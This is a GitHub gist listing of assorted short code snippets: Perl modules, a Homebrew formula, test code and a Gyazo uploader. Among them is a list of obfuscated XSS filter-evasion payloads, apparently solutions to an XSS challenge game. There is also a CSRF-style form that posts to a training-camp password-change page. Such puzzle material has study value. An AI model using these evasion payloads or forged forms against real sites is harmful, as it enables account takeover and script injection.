Skip to content

Instantly share code, notes, and snippets.

@akiym
akiym / gist:945984
Created April 28, 2011 07:50
Amon2::Setup::Flavor::Teng
use strict;
use warnings;
use utf8;
package Amon2::Setup::Flavor::Teng;
use parent qw(Amon2::Setup::Flavor::Basic);
sub run {
my $self = shift;
@akiym
akiym / gist:945998
Created April 28, 2011 08:04
Google CGI API for Japanese Input
use strict;
use warnings;
use Encode;
use JSON;
use LWP::UserAgent;
use URI;
use Data::Dumper;
use Data::Recursive::Encode;
my $text = shift or die;
use strict;
use warnings;
use Web::Query;
my $elem = wq('http://ch.nicovideo.jp/channel/ch60001')
->find('ul.g-video-mini .g-video-right');
$elem->{trees} = [$elem->{trees}[0]];
$elem->each(sub {
@akiym
akiym / git.rb
Created September 11, 2011 12:26
require 'formula'
class GitManuals < Formula
url 'http://ftp.jaist.ac.jp/pub/Linux/kernel.org/software/scm/git/git-manpages-1.7.6.1.tar.bz2'
md5 'cae559424a62507cb2c15252d85a158e'
end
class GitHtmldocs < Formula
url 'http://ftp.jaist.ac.jp/pub/Linux/kernel.org/software/scm/git/git-htmldocs-1.7.6.1.tar.bz2'
md5 'f698e0abbf1555582e30320930391c59'
@akiym
akiym / gist:1940560
Created February 29, 2012 12:47
Perlで動的ディスパッチ/動的メソッド定義
use strict;
use warnings;
# http://d.hatena.ne.jp/yuheiomori0718/20120116/1326715412
package MyString;
use overload q{""} => \&as_string, fallback => 1;
sub new {
diff --git a/lib/Amon2/Lite.pm b/lib/Amon2/Lite.pm
index c3f3aa1..0f75201 100644
--- a/lib/Amon2/Lite.pm
+++ b/lib/Amon2/Lite.pm
@@ -119,11 +119,11 @@ sub import {
};
*{"$caller\::get"} = sub {
- $router->connect($_[0], {code => $_[1], method => ['GET', 'HEAD']});
+ $router->connect($_[0], {code => $_[1]}, {method => ['GET', 'HEAD']});
@akiym
akiym / gist:9c9f903d824fddcaf2c8
Last active December 8, 2015 01:06
箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)
"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))"
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><"
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')"
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))"
"onfocus="window['\141\154\145\162\164']('\130\123\123')"
"onKeyDown="&#00112;arent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))"
"onDblClick="&#119;indow['aleraaaat'.re&#0112;lace('aaaa','')]('XaaaaSaaaaS'.re&#0112;lace('aaaa','').re&#0112;lace('aaaa',''))"
"onMouseUp="wi&#110dow[Str&#105;ng.fromC&#104;arCode(501-404,501-393,501-400,501-387,501-385)]&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041;"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00
@akiym
akiym / ok.pl
Last active December 20, 2015 04:08
use strict;
use warnings;
use Test::More 0.98;
use Test::Pretty 0.26;
eval {
die;
};
ok $@;
ok $@; # FAIL
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>hack</title>
</head>
<body>
<form action="http://camp2013prof.camp/menu.cgi?actionid=passchg" method="post">
<table border=0>
<tr><td>新パスワード:</td>
@akiym
akiym / upload.pl
Last active December 23, 2015 23:29
Gyazo uploader
use strict;
use warnings;
use LWP::UserAgent;
my $filename = shift or die "Usage: $0 filename\n";
my $base_url = 'http://gyazo.com/';
my $ua = LWP::UserAgent->new;
my $res = $ua->post("$base_url/upload",